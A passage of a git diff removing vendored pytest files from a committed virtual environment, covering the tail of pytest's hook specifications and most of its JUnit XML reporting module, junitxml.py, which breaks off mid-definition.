(wrapped in ``CallInfo(when="call")``) - - ``report = pytest_runtest_makereport(item, call)`` - - ``pytest_runtest_logreport(report)`` - - ``pytest_exception_interact(call, report)`` if an interactive exception occurred - - - Teardown phase: - - ``call = pytest_runtest_teardown(item, nextitem)`` (wrapped in ``CallInfo(when="teardown")``) - - ``report = pytest_runtest_makereport(item, call)`` - - ``pytest_runtest_logreport(report)`` - - ``pytest_exception_interact(call, report)`` if an interactive exception occurred - - - ``pytest_runtest_logfinish(nodeid, location)`` - - :param item: Test item for which the runtest protocol is performed. - :param nextitem: The scheduled-to-be-next test item (or None if this is the end my friend). - - Stops at first non-None result, see :ref:`firstresult`. - The return value is not used, but only stops further processing. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -def pytest_runtest_logstart(nodeid: str, location: tuple[str, int | None, str]) -> None: - """Called at the start of running the runtest protocol for a single item. - - See :hook:`pytest_runtest_protocol` for a description of the runtest protocol. - - :param nodeid: Full node ID of the item. - :param location: A tuple of ``(filename, lineno, testname)`` - where ``filename`` is a file path relative to ``config.rootpath`` - and ``lineno`` is 0-based. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_runtest_logfinish( - nodeid: str, location: tuple[str, int | None, str] -) -> None: - """Called at the end of running the runtest protocol for a single item. - - See :hook:`pytest_runtest_protocol` for a description of the runtest protocol. - - :param nodeid: Full node ID of the item. - :param location: A tuple of ``(filename, lineno, testname)`` - where ``filename`` is a file path relative to ``config.rootpath`` - and ``lineno`` is 0-based. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_runtest_setup(item: Item) -> None: - """Called to perform the setup phase for a test item. - - The default implementation runs ``setup()`` on ``item`` and all of its - parents (which haven't been setup yet). This includes obtaining the - values of fixtures required by the item (which haven't been obtained - yet). - - :param item: - The item. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_runtest_call(item: Item) -> None: - """Called to run the test for test item (the call phase). - - The default implementation calls ``item.runtest()``. - - :param item: - The item. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_runtest_teardown(item: Item, nextitem: Item | None) -> None: - """Called to perform the teardown phase for a test item. - - The default implementation runs the finalizers and calls ``teardown()`` - on ``item`` and all of its parents (which need to be torn down). This - includes running the teardown phase of fixtures required by the item (if - they go out of scope). - - :param item: - The item. - :param nextitem: - The scheduled-to-be-next test item (None if no further test item is - scheduled). This argument is used to perform exact teardowns, i.e. - calling just enough finalizers so that nextitem only needs to call - setup functions. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -@hookspec(firstresult=True) -def pytest_runtest_makereport(item: Item, call: CallInfo[None]) -> TestReport | None: - """Called to create a :class:`~pytest.TestReport` for each of - the setup, call and teardown runtest phases of a test item. - - See :hook:`pytest_runtest_protocol` for a description of the runtest protocol. - - :param item: The item. - :param call: The :class:`~pytest.CallInfo` for the phase. - - Stops at first non-None result, see :ref:`firstresult`. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_runtest_logreport(report: TestReport) -> None: - """Process the :class:`~pytest.TestReport` produced for each - of the setup, call and teardown runtest phases of an item. - - See :hook:`pytest_runtest_protocol` for a description of the runtest protocol. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -@hookspec(firstresult=True) -def pytest_report_to_serializable( - config: Config, - report: CollectReport | TestReport, -) -> dict[str, Any] | None: - """Serialize the given report object into a data structure suitable for - sending over the wire, e.g. converted to JSON. - - :param config: The pytest config object. - :param report: The report. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. The exact details may depend - on the plugin which calls the hook. - """ - - -@hookspec(firstresult=True) -def pytest_report_from_serializable( - config: Config, - data: dict[str, Any], -) -> CollectReport | TestReport | None: - """Restore a report object previously serialized with - :hook:`pytest_report_to_serializable`. - - :param config: The pytest config object. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. The exact details may depend - on the plugin which calls the hook. - """ - - -# ------------------------------------------------------------------------- -# Fixture related hooks -# ------------------------------------------------------------------------- - - -@hookspec(firstresult=True) -def pytest_fixture_setup( - fixturedef: FixtureDef[Any], request: SubRequest -) -> object | None: - """Perform fixture setup execution. - - :param fixturedef: - The fixture definition object. - :param request: - The fixture request object. - :returns: - The return value of the call to the fixture function. - - Stops at first non-None result, see :ref:`firstresult`. - - .. note:: - If the fixture function returns None, other implementations of - this hook function will continue to be called, according to the - behavior of the :ref:`firstresult` option. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given fixture, only - conftest files in the fixture scope's directory and its parent directories - are consulted. - """ - - -def pytest_fixture_post_finalizer( - fixturedef: FixtureDef[Any], request: SubRequest -) -> None: - """Called after fixture teardown, but before the cache is cleared, so - the fixture result ``fixturedef.cached_result`` is still available (not - ``None``). - - :param fixturedef: - The fixture definition object. - :param request: - The fixture request object. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given fixture, only - conftest files in the fixture scope's directory and its parent directories - are consulted. - """ - - -# ------------------------------------------------------------------------- -# test session related hooks -# ------------------------------------------------------------------------- - - -def pytest_sessionstart(session: Session) -> None: - """Called after the ``Session`` object has been created and before performing collection - and entering the run test loop. - - :param session: The pytest session object. - - Use in conftest plugins - ======================= - - This hook is only called for :ref:`initial conftests `. - """ - - -def pytest_sessionfinish( - session: Session, - exitstatus: int | ExitCode, -) -> None: - """Called after whole test run finished, right before returning the exit status to the system. - - :param session: The pytest session object. - :param exitstatus: The status which pytest will return to the system. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -def pytest_unconfigure(config: Config) -> None: - """Called before test process is exited. - - :param config: The pytest config object. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -# ------------------------------------------------------------------------- -# hooks for customizing the assert methods -# ------------------------------------------------------------------------- - - -def pytest_assertrepr_compare( - config: Config, op: str, left: object, right: object -) -> list[str] | None: - """Return explanation for comparisons in failing assert expressions. - - Return None for no custom explanation, otherwise return a list - of strings. The strings will be joined by newlines but any newlines - *in* a string will be escaped. Note that all but the first line will - be indented slightly, the intention is for the first line to be a summary. - - :param config: The pytest config object. - :param op: The operator, e.g. `"=="`, `"!="`, `"not in"`. - :param left: The left operand. - :param right: The right operand. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_assertion_pass(item: Item, lineno: int, orig: str, expl: str) -> None: - """Called whenever an assertion passes. - - .. versionadded:: 5.0 - - Use this hook to do some processing after a passing assertion. - The original assertion information is available in the `orig` string - and the pytest introspected assertion information is available in the - `expl` string. - - This hook must be explicitly enabled by the :confval:`enable_assertion_pass_hook` - configuration option: - - .. tab:: toml - - .. code-block:: toml - - [pytest] - enable_assertion_pass_hook = true - - .. tab:: ini - - .. code-block:: ini - - [pytest] - enable_assertion_pass_hook = true - - You need to **clean the .pyc** files in your project directory and interpreter libraries - when enabling this option, as assertions will require to be re-written. - - :param item: pytest item object of current test. - :param lineno: Line number of the assert statement. - :param orig: String with the original assertion. - :param expl: String with the assert explanation. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -# ------------------------------------------------------------------------- -# Hooks for influencing reporting (invoked from _pytest_terminal). -# ------------------------------------------------------------------------- - - -def pytest_report_header(config: Config, start_path: Path) -> str | list[str]: # type: ignore[empty-body] - """Return a string or list of strings to be displayed as header info for terminal reporting. - - :param config: The pytest config object. - :param start_path: The starting dir. - :type start_path: pathlib.Path - - .. note:: - - Lines returned by a plugin are displayed before those of plugins which - ran before it. - If you want to have your line(s) displayed first, use - :ref:`trylast=True `. - - .. versionchanged:: 7.0.0 - The ``start_path`` parameter was added as a :class:`pathlib.Path` - equivalent of the ``startdir`` parameter. The ``startdir`` parameter - has been deprecated and removed in pytest 9.0.0. - - Use in conftest plugins - ======================= - - This hook is only called for :ref:`initial conftests `. - """ - - -def pytest_report_collectionfinish( # type: ignore[empty-body] - config: Config, - start_path: Path, - items: Sequence[Item], -) -> str | list[str]: - """Return a string or list of strings to be displayed after collection - has finished successfully. - - These strings will be displayed after the standard "collected X items" message. - - .. versionadded:: 3.2 - - :param config: The pytest config object. - :param start_path: The starting dir. - :type start_path: pathlib.Path - :param items: List of pytest items that are going to be executed; this list should not be modified. - - .. note:: - - Lines returned by a plugin are displayed before those of plugins which - ran before it. - If you want to have your line(s) displayed first, use - :ref:`trylast=True `. - - .. versionchanged:: 7.0.0 - The ``start_path`` parameter was added as a :class:`pathlib.Path` - equivalent of the ``startdir`` parameter. The ``startdir`` parameter - has been deprecated and removed in pytest 9.0.0. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -@hookspec(firstresult=True) -def pytest_report_teststatus( # type:ignore[empty-body] - report: CollectReport | TestReport, config: Config -) -> TestShortLogReport | tuple[str, str, str | tuple[str, Mapping[str, bool]]]: - """Return result-category, shortletter and verbose word for status - reporting. - - The result-category is a category in which to count the result, for - example "passed", "skipped", "error" or the empty string. - - The shortletter is shown as testing progresses, for example ".", "s", - "E" or the empty string. - - The verbose word is shown as testing progresses in verbose mode, for - example "PASSED", "SKIPPED", "ERROR" or the empty string. - - pytest may style these implicitly according to the report outcome. - To provide explicit styling, return a tuple for the verbose word, - for example ``"rerun", "R", ("RERUN", {"yellow": True})``. - - :param report: The report object whose status is to be returned. - :param config: The pytest config object. - :returns: The test status. - - Stops at first non-None result, see :ref:`firstresult`. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -def pytest_terminal_summary( - terminalreporter: TerminalReporter, - exitstatus: ExitCode, - config: Config, -) -> None: - """Add a section to terminal summary reporting. - - :param terminalreporter: The internal terminal reporter object. - :param exitstatus: The exit status that will be reported back to the OS. - :param config: The pytest config object. - - .. versionadded:: 4.2 - The ``config`` parameter. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -@hookspec(historic=True) -def pytest_warning_recorded( - warning_message: warnings.WarningMessage, - when: Literal["config", "collect", "runtest"], - nodeid: str, - location: tuple[str, int, str] | None, -) -> None: - """Process a warning captured by the internal pytest warnings plugin. - - :param warning_message: - The captured warning. This is the same object produced by :class:`warnings.catch_warnings`, - and contains the same attributes as the parameters of :py:func:`warnings.showwarning`. - - :param when: - Indicates when the warning was captured. Possible values: - - * ``"config"``: during pytest configuration/initialization stage. - * ``"collect"``: during test collection. - * ``"runtest"``: during test execution. - - :param nodeid: - Full id of the item. Empty string for warnings that are not specific to - a particular node. - - :param location: - When available, holds information about the execution context of the captured - warning (filename, linenumber, function). ``function`` evaluates to - when the execution context is at the module level. - - .. versionadded:: 6.0 - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. If the warning is specific to a - particular node, only conftest files in parent directories of the node are - consulted. - """ - - -# ------------------------------------------------------------------------- -# Hooks for influencing skipping -# ------------------------------------------------------------------------- - - -def pytest_markeval_namespace( # type:ignore[empty-body] - config: Config, -) -> dict[str, Any]: - """Called when constructing the globals dictionary used for - evaluating string conditions in xfail/skipif markers. - - This is useful when the condition for a marker requires - objects that are expensive or impossible to obtain during - collection time, which is required by normal boolean - conditions. - - .. versionadded:: 6.2 - - :param config: The pytest config object. - :returns: A dictionary of additional globals to add. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in parent directories of the item are consulted. - """ - - -# ------------------------------------------------------------------------- -# error handling and internal debugging hooks -# ------------------------------------------------------------------------- - - -def pytest_internalerror( - excrepr: ExceptionRepr, - excinfo: ExceptionInfo[BaseException], -) -> bool | None: - """Called for internal errors. - - Return True to suppress the fallback handling of printing an - INTERNALERROR message directly to sys.stderr. - - :param excrepr: The exception repr object. - :param excinfo: The exception info. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -def pytest_keyboard_interrupt( - excinfo: ExceptionInfo[KeyboardInterrupt | Exit], -) -> None: - """Called for keyboard interrupt. - - :param excinfo: The exception info. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -def pytest_exception_interact( - node: Item | Collector, - call: CallInfo[Any], - report: CollectReport | TestReport, -) -> None: - """Called when an exception was raised which can potentially be - interactively handled. - - May be called during collection (see :hook:`pytest_make_collect_report`), - in which case ``report`` is a :class:`~pytest.CollectReport`. - - May be called during runtest of an item (see :hook:`pytest_runtest_protocol`), - in which case ``report`` is a :class:`~pytest.TestReport`. - - This hook is not called if the exception that was raised is an internal - exception like ``skip.Exception``. - - :param node: - The item or collector. - :param call: - The call information. Contains the exception. - :param report: - The collection or test report. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given node, only conftest - files in parent directories of the node are consulted. - """ - - -def pytest_enter_pdb(config: Config, pdb: pdb.Pdb) -> None: - """Called upon pdb.set_trace(). - - Can be used by plugins to take special action just before the python - debugger enters interactive mode. - - :param config: The pytest config object. - :param pdb: The Pdb instance. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -def pytest_leave_pdb(config: Config, pdb: pdb.Pdb) -> None: - """Called when leaving pdb (e.g. with continue after pdb.set_trace()). - - Can be used by plugins to take special action just after the python - debugger leaves interactive mode. - - :param config: The pytest config object. - :param pdb: The Pdb instance. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ diff --git a/venv/Lib/site-packages/_pytest/junitxml.py b/venv/Lib/site-packages/_pytest/junitxml.py deleted file mode 100644 index ac78f50e618b7a773e736c091e8bf95c7aff810e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/junitxml.py +++ /dev/null @@ -1,703 +0,0 @@ -# mypy: allow-untyped-defs -"""Report test results in JUnit-XML format, for use with Jenkins and build -integration servers. - -Based on initial code from Ross Lawley. - -Output conforms to -https://github.com/jenkinsci/xunit-plugin/blob/master/src/main/resources/org/jenkinsci/plugins/xunit/types/model/xsd/junit-10.xsd -""" - -from __future__ import annotations - -from collections.abc import Callable -import functools -import os -import platform -import re -import xml.etree.ElementTree as ET - -from _pytest import nodes -from _pytest import timing -from _pytest._code.code import ExceptionRepr -from _pytest._code.code import ReprFileLocation -from _pytest.config import Config -from _pytest.config import filename_arg -from _pytest.config.argparsing import Parser -from _pytest.fixtures import FixtureRequest -from _pytest.reports import TestReport -from _pytest.stash import StashKey -from _pytest.terminal import TerminalReporter -import pytest - - -xml_key = StashKey["LogXML"]() - - -def bin_xml_escape(arg: object) -> str: - r"""Visually escape invalid XML characters. - - For example, transforms - 'hello\aworld\b' - into - 'hello#x07world#x08' - Note that the #xABs are *not* XML escapes - missing the ampersand «. - The idea is to escape visually for the user rather than for XML itself. - """ - - def repl(matchobj: re.Match[str]) -> str: - i = ord(matchobj.group()) - if i <= 0xFF: - return f"#x{i:02X}" - else: - return f"#x{i:04X}" - - # The spec range of valid chars is: - # Char ::= #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] | [#x10000-#x10FFFF] - # For an unknown(?) reason, we disallow #x7F (DEL) as well. - illegal_xml_re = "[^\u0009\u000a\u000d\u0020-\u007e\u0080-\ud7ff\ue000-\ufffd\U00010000-\U0010ffff]" - return re.sub(illegal_xml_re, repl, str(arg)) - - -def merge_family(left, right) -> None: - result = {} - for kl, vl in left.items(): - for kr, vr in right.items(): - if not isinstance(vl, list): - raise TypeError(type(vl)) - result[kl] = vl + vr - left.update(result) - - -families = { # pylint: disable=dict-init-mutate - "_base": {"testcase": ["classname", "name"]}, - "_base_legacy": {"testcase": ["file", "line", "url"]}, -} -# xUnit 1.x inherits legacy attributes. -families["xunit1"] = families["_base"].copy() -merge_family(families["xunit1"], families["_base_legacy"]) - -# xUnit 2.x uses strict base attributes. -families["xunit2"] = families["_base"] - - -class _NodeReporter: - def __init__(self, nodeid: str | TestReport, xml: LogXML) -> None: - self.id = nodeid - self.xml = xml - self.add_stats = self.xml.add_stats - self.family = self.xml.family - self.duration = 0.0 - self.properties: list[tuple[str, str]] = [] - self.nodes: list[ET.Element] = [] - self.attrs: dict[str, str] = {} - - def append(self, node: ET.Element) -> None: - self.xml.add_stats(node.tag) - self.nodes.append(node) - - def add_property(self, name: str, value: object) -> None: - self.properties.append((str(name), bin_xml_escape(value))) - - def add_attribute(self, name: str, value: object) -> None: - self.attrs[str(name)] = bin_xml_escape(value) - - def make_properties_node(self) -> ET.Element | None: - """Return a Junit node containing custom properties, if any.""" - if self.properties: - properties = ET.Element("properties") - for name, value in self.properties: - properties.append(ET.Element("property", name=name, value=value)) - return properties - return None - - def record_testreport(self, testreport: TestReport) -> None: - names = mangle_test_address(testreport.nodeid) - existing_attrs = self.attrs - classnames = names[:-1] - if self.xml.prefix: - classnames.insert(0, self.xml.prefix) - attrs: dict[str, str] = { - "classname": ".".join(classnames), - "name": bin_xml_escape(names[-1]), - "file": testreport.location[0], - } - if testreport.location[1] is not None: - attrs["line"] = str(testreport.location[1]) - if hasattr(testreport, "url"): - attrs["url"] = testreport.url - self.attrs = attrs - self.attrs.update(existing_attrs) # Restore any user-defined attributes. - - # Preserve legacy testcase behavior. - if self.family == "xunit1": - return - - # Filter out attributes not permitted by this test family. - # Including custom attributes because they are not valid here. - temp_attrs = {} - for key in self.attrs: - if key in families[self.family]["testcase"]: - temp_attrs[key] = self.attrs[key] - self.attrs = temp_attrs - - def to_xml(self) -> ET.Element: - testcase = ET.Element("testcase", self.attrs, time=f"{self.duration:.3f}") - properties = self.make_properties_node() - if properties is not None: - testcase.append(properties) - testcase.extend(self.nodes) - return testcase - - def _add_simple(self, tag: str, message: str, data: str | None = None) -> None: - node = ET.Element(tag, message=message) - node.text = bin_xml_escape(data) - self.append(node) - - def write_captured_output(self, report: TestReport) -> None: - if not self.xml.log_passing_tests and report.passed: - return - - content_out = report.capstdout - content_log = report.caplog - content_err = report.capstderr - if self.xml.logging == "no": - return - content_all = "" - if self.xml.logging in ["log", "all"]: - content_all = self._prepare_content(content_log, " Captured Log ") - if self.xml.logging in ["system-out", "out-err", "all"]: - content_all += self._prepare_content(content_out, " Captured Out ") - self._write_content(report, content_all, "system-out") - content_all = "" - if self.xml.logging in ["system-err", "out-err", "all"]: - content_all += self._prepare_content(content_err, " Captured Err ") - self._write_content(report, content_all, "system-err") - content_all = "" - if content_all: - self._write_content(report, content_all, "system-out") - - def _prepare_content(self, content: str, header: str) -> str: - return "\n".join([header.center(80, "-"), content, ""]) - - def _write_content(self, report: TestReport, content: str, jheader: str) -> None: - tag = ET.Element(jheader) - tag.text = bin_xml_escape(content) - self.append(tag) - - def append_pass(self, report: TestReport) -> None: - self.add_stats("passed") - - def append_failure(self, report: TestReport) -> None: - # msg = str(report.longrepr.reprtraceback.extraline) - if hasattr(report, "wasxfail"): - self._add_simple("skipped", "xfail-marked test passes unexpectedly") - else: - assert report.longrepr is not None - reprcrash: ReprFileLocation | None = getattr( - report.longrepr, "reprcrash", None - ) - if reprcrash is not None: - message = reprcrash.message - else: - message = str(report.longrepr) - message = bin_xml_escape(message) - self._add_simple("failure", message, str(report.longrepr)) - - def append_collect_error(self, report: TestReport) -> None: - # msg = str(report.longrepr.reprtraceback.extraline) - assert report.longrepr is not None - self._add_simple("error", "collection failure", str(report.longrepr)) - - def append_collect_skipped(self, report: TestReport) -> None: - self._add_simple("skipped", "collection skipped", str(report.longrepr)) - - def append_error(self, report: TestReport) -> None: - assert report.longrepr is not None - reprcrash: ReprFileLocation | None = getattr(report.longrepr, "reprcrash", None) - if reprcrash is not None: - reason = reprcrash.message - else: - reason = str(report.longrepr) - - if report.when == "teardown": - msg = f'failed on teardown with "{reason}"' - else: - msg = f'failed on setup with "{reason}"' - self._add_simple("error", bin_xml_escape(msg), str(report.longrepr)) - - def append_skipped(self, report: TestReport) -> None: - if hasattr(report, "wasxfail"): - xfailreason = report.wasxfail - if xfailreason.startswith("reason: "): - xfailreason = xfailreason[8:] - xfailreason = bin_xml_escape(xfailreason) - skipped = ET.Element("skipped", type="pytest.xfail", message=xfailreason) - self.append(skipped) - else: - assert isinstance(report.longrepr, tuple) - filename, lineno, skipreason = report.longrepr - if skipreason.startswith("Skipped: "): - skipreason = skipreason[9:] - details = f"{filename}:{lineno}: {skipreason}" - - skipped = ET.Element( - "skipped", type="pytest.skip", message=bin_xml_escape(skipreason) - ) - skipped.text = bin_xml_escape(details) - self.append(skipped) - self.write_captured_output(report) - - def finalize(self) -> None: - data = self.to_xml() - self.__dict__.clear() - # Type ignored because mypy doesn't like overriding a method. - # Also the return value doesn't match... - self.to_xml = lambda: data # type: ignore[method-assign] - - -def _warn_incompatibility_with_xunit2( - request: FixtureRequest, fixture_name: str -) -> None: - """Emit a PytestWarning about the given fixture being incompatible with newer xunit revisions.""" - from _pytest.warning_types import PytestWarning - - xml = request.config.stash.get(xml_key, None) - if xml is not None and xml.family not in ("xunit1", "legacy"): - request.node.warn( - PytestWarning( - f"{fixture_name} is incompatible with junit_family '{xml.family}' (use 'legacy' or 'xunit1')" - ) - ) - - -@pytest.fixture -def record_property(request: FixtureRequest) -> Callable[[str, object], None]: - """Add extra properties to the calling test. - - User properties become part of the test report and are available to the - configured reporters, like JUnit XML. - - The fixture is callable with ``name, value``. The value is automatically - XML-encoded. - - Example:: - - def test_function(record_property): - record_property("example_key", 1) - """ - _warn_incompatibility_with_xunit2(request, "record_property") - - def append_property(name: str, value: object) -> None: - request.node.user_properties.append((name, value)) - - return append_property - - -@pytest.fixture -def record_xml_attribute(request: FixtureRequest) -> Callable[[str, object], None]: - """Add extra xml attributes to the tag for the calling test. - - The fixture is callable with ``name, value``. The value is - automatically XML-encoded. - """ - from _pytest.warning_types import PytestExperimentalApiWarning - - request.node.warn( - PytestExperimentalApiWarning("record_xml_attribute is an experimental feature") - ) - - _warn_incompatibility_with_xunit2(request, "record_xml_attribute") - - # Declare noop - def add_attr_noop(name: str, value: object) -> None: - pass - - attr_func = add_attr_noop - - xml = request.config.stash.get(xml_key, None) - if xml is not None: - node_reporter = xml.node_reporter(request.node.nodeid) - attr_func = node_reporter.add_attribute - - return attr_func - - -def _check_record_param_type(param: str, v: str) -> None: - """Used by record_testsuite_property to check that the given parameter name is of the proper - type.""" - __tracebackhide__ = True - if not isinstance(v, str): - msg = "{param} parameter needs to be a string, but {g} given" # type: ignore[unreachable] - raise TypeError(msg.format(param=param, g=type(v).__name__)) - - -@pytest.fixture(scope="session") -def record_testsuite_property(request: FixtureRequest) -> Callable[[str, object], None]: - """Record a new ```` tag as child of the root ````. - - This is suitable to writing global information regarding the entire test - suite, and is compatible with ``xunit2`` JUnit family. - - This is a ``session``-scoped fixture which is called with ``(name, value)``. Example: - - .. code-block:: python - - def test_foo(record_testsuite_property): - record_testsuite_property("ARCH", "PPC") - record_testsuite_property("STORAGE_TYPE", "CEPH") - - :param name: - The property name. - :param value: - The property value. Will be converted to a string. - - .. warning:: - - Currently this fixture **does not work** with the - `pytest-xdist `__ plugin. See - :issue:`7767` for details. - """ - __tracebackhide__ = True - - def record_func(name: str, value: object) -> None: - """No-op function in case --junit-xml was not passed in the command-line.""" - __tracebackhide__ = True - _check_record_param_type("name", name) - - xml = request.config.stash.get(xml_key, None) - if xml is not None: - record_func = xml.add_global_property - return record_func - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("terminal reporting") - group.addoption( - "--junitxml", - "--junit-xml", - action="store", - dest="xmlpath", - metavar="path", - type=functools.partial(filename_arg, optname="--junitxml"), - default=None, - help="Create junit-xml style report file at given path", - ) - group.addoption( - "--junitprefix", - "--junit-prefix", - action="store", - metavar="str", - default=None, - help="Prepend prefix to classnames in junit-xml output", - ) - parser.addini( - "junit_suite_name", "Test suite name for JUnit report", default="pytest" - ) - parser.addini( - "junit_logging", - "Write captured log messages to JUnit report: " - "one of no|log|system-out|system-err|out-err|all", - default="no", - ) - parser.addini( - "junit_log_passing_tests", - "Capture log information for passing tests to JUnit report: ", - type="bool", - default=True, - ) - parser.addini( - "junit_duration_report", - "Duration time to report: one of total|call", - default="total", - ) # choices=['total', 'call']) - parser.addini( - "junit_family", - "Emit XML for schema: one of legacy|xunit1|xunit2", - default="xunit2", - ) - - -def pytest_configure(config: Config) -> None: - xmlpath = config.option.xmlpath - # Prevent opening xmllog on worker nodes (xdist). - if xmlpath and not hasattr(config, "workerinput"): - junit_family = config.getini("junit_family") - config.stash[xml_key] = LogXML( - xmlpath, - config.option.junitprefix, - config.getini("junit_suite_name"), - config.getini("junit_logging"), - config.getini("junit_duration_report"), - junit_family, - config.getini("junit_log_passing_tests"), - ) - config.pluginmanager.register(config.stash[xml_key]) - - -def pytest_unconfigure(config: Config) -> None: - xml = config.stash.get(xml_key, None) - if xml: - del config.stash[xml_key] - config.pluginmanager.unregister(xml) - - -def mangle_test_address(address: str) -> list[str]: - path, possible_open_bracket, params = address.partition("[") - names = path.split("::") - # Convert file path to dotted path. - names[0] = names[0].replace(nodes.SEP, ".") - names[0] = re.sub(r"\.py$", "", names[0]) - # Put any params back. - names[-1] += possible_open_bracket + params - return names - - -class LogXML: - def __init__( - self, - logfile, - prefix: str | None, - suite_name: str = "pytest", - logging: str = "no", - report_duration: str = "total", - family="xunit1", - log_passing_tests: bool = True, - ) -> None: - logfile = os.path.expanduser(os.path.expandvars(logfile)) - self.logfile = os.path.normpath(os.path.abspath(logfile)) - self.prefix = prefix - self.suite_name = suite_name - self.logging = logging - self.log_passing_tests = log_passing_tests - self.report_duration = report_duration - self.family = family - self.stats: dict[str, int] = dict.fromkeys( - ["error", "passed", "failure", "skipped"], 0 - ) - self.node_reporters: dict[tuple[str | TestReport, object], _NodeReporter] = {} - self.node_reporters_ordered: list[_NodeReporter] = [] - self.global_properties: list[tuple[str, str]] = [] - - # List of reports that failed on call but teardown is pending. - self.open_reports: list[TestReport] = [] - self.cnt_double_fail_tests = 0 - - # Replaces convenience family with real family. - if self.family == "legacy": - self.family = "xunit1" - - def finalize(self, report: TestReport) -> None: - nodeid = getattr(report, "nodeid", report) - # Local hack to handle xdist report order. - workernode = getattr(report, "node", None) - reporter = self.node_reporters.pop((nodeid, workernode)) - - for propname, propvalue in report.user_properties: - reporter.add_property(propname, str(propvalue)) - - if reporter is not None: - reporter.finalize() - - def node_reporter(self, report: TestReport | str) -> _NodeReporter: - nodeid: str | TestReport = getattr(report, "nodeid", report) - # Local hack to handle xdist report order. - workernode = getattr(report, "node", None) - - key = nodeid, workernode - - if key in self.node_reporters: - # TODO: breaks for --dist=each - return self.node_reporters[key] - - reporter = _NodeReporter(nodeid, self) - - self.node_reporters[key] = reporter - self.node_reporters_ordered.append(reporter) - - return reporter - - def add_stats(self, key: str) -> None: - if key in self.stats: - self.stats[key] += 1 - - def _opentestcase(self, report: TestReport) -> _NodeReporter: - reporter = self.node_reporter(report) - reporter.record_testreport(report) - return reporter - - def pytest_runtest_logreport(self, report: TestReport) -> None: - """Handle a setup/call/teardown report, generating the appropriate - XML tags as necessary. - - Note: due to plugins like xdist, this hook may be called in interlaced - order with reports from other nodes. For example: - - Usual call order: - -> setup node1 - -> call node1 - -> teardown node1 - -> setup node2 - -> call node2 - -> teardown node2 - - Possible call order in xdist: - -> setup node1 - -> call node1 - -> setup node2 - -> call node2 - -> teardown node2 - -> teardown node1 - """ - close_report = None - if report.passed: - if report.when == "call": # ignore setup/teardown - reporter = self._opentestcase(report) - reporter.append_pass(report) - elif report.failed: - if report.when == "teardown": - # The following vars are needed when xdist plugin is used. - report_wid = getattr(report, "worker_id", None) - report_ii = getattr(report, "item_index", None) - close_report = next( - ( - rep - for rep in self.open_reports - if ( - rep.nodeid == report.nodeid - and getattr(rep, "item_index", None) == report_ii - and getattr(rep, "worker_id", None) == report_wid - ) - ), - None, - ) - if close_report: - # We need to open new testcase in case we have failure in - # call and error in teardown in order to follow junit - # schema. - self.finalize(close_report) - else: - # A passing call with a teardown error creates separate - # terminal reports, but JUnit XML keeps one testcase - # element for that item (#3850). - self.cnt_double_fail_tests += int( - ( - report.nodeid, - getattr(report, "node", None), - ) - in self.node_reporters - ) - reporter = self._opentestcase(report) - if report.when == "call": - reporter.append_failure(report) - self.open_reports.append(report) - if not self.log_passing_tests: - reporter.write_captured_output(report) - else: - reporter.append_error(report) - elif report.skipped: - reporter = self._opentestcase(report) - reporter.append_skipped(report) - self.update_testcase_duration(report) - if report.when == "teardown": - reporter = self._opentestcase(report) - reporter.write_captured_output(report) - - self.finalize(report) - report_wid = getattr(report, "worker_id", None) - report_ii = getattr(report, "item_index", None) - close_report = next( - ( - rep - for rep in self.open_reports - if ( - rep.nodeid == report.nodeid - and getattr(rep, "item_index", None) == report_ii - and getattr(rep, "worker_id", None) == report_wid - ) - ), - None, - ) - if close_report: - self.open_reports.remove(close_report) - - def update_testcase_duration(self, report: TestReport) -> None: - """Accumulate total duration for nodeid from given report and update - the Junit.testcase with the new total if already created.""" - if self.report_duration in {"total", report.when}: - reporter = self.node_reporter(report) - reporter.duration += getattr(report, "duration", 0.0) - - def pytest_collectreport(self, report: TestReport) -> None: - if not report.passed: - reporter = self._opentestcase(report) - if report.failed: - reporter.append_collect_error(report) - else: - reporter.append_collect_skipped(report) - - def pytest_internalerror(self, excrepr: ExceptionRepr) -> None: - reporter = self.node_reporter("internal") - reporter.attrs.update(classname="pytest", name="internal") - reporter._add_simple("error", "internal error", str(excrepr)) - - def 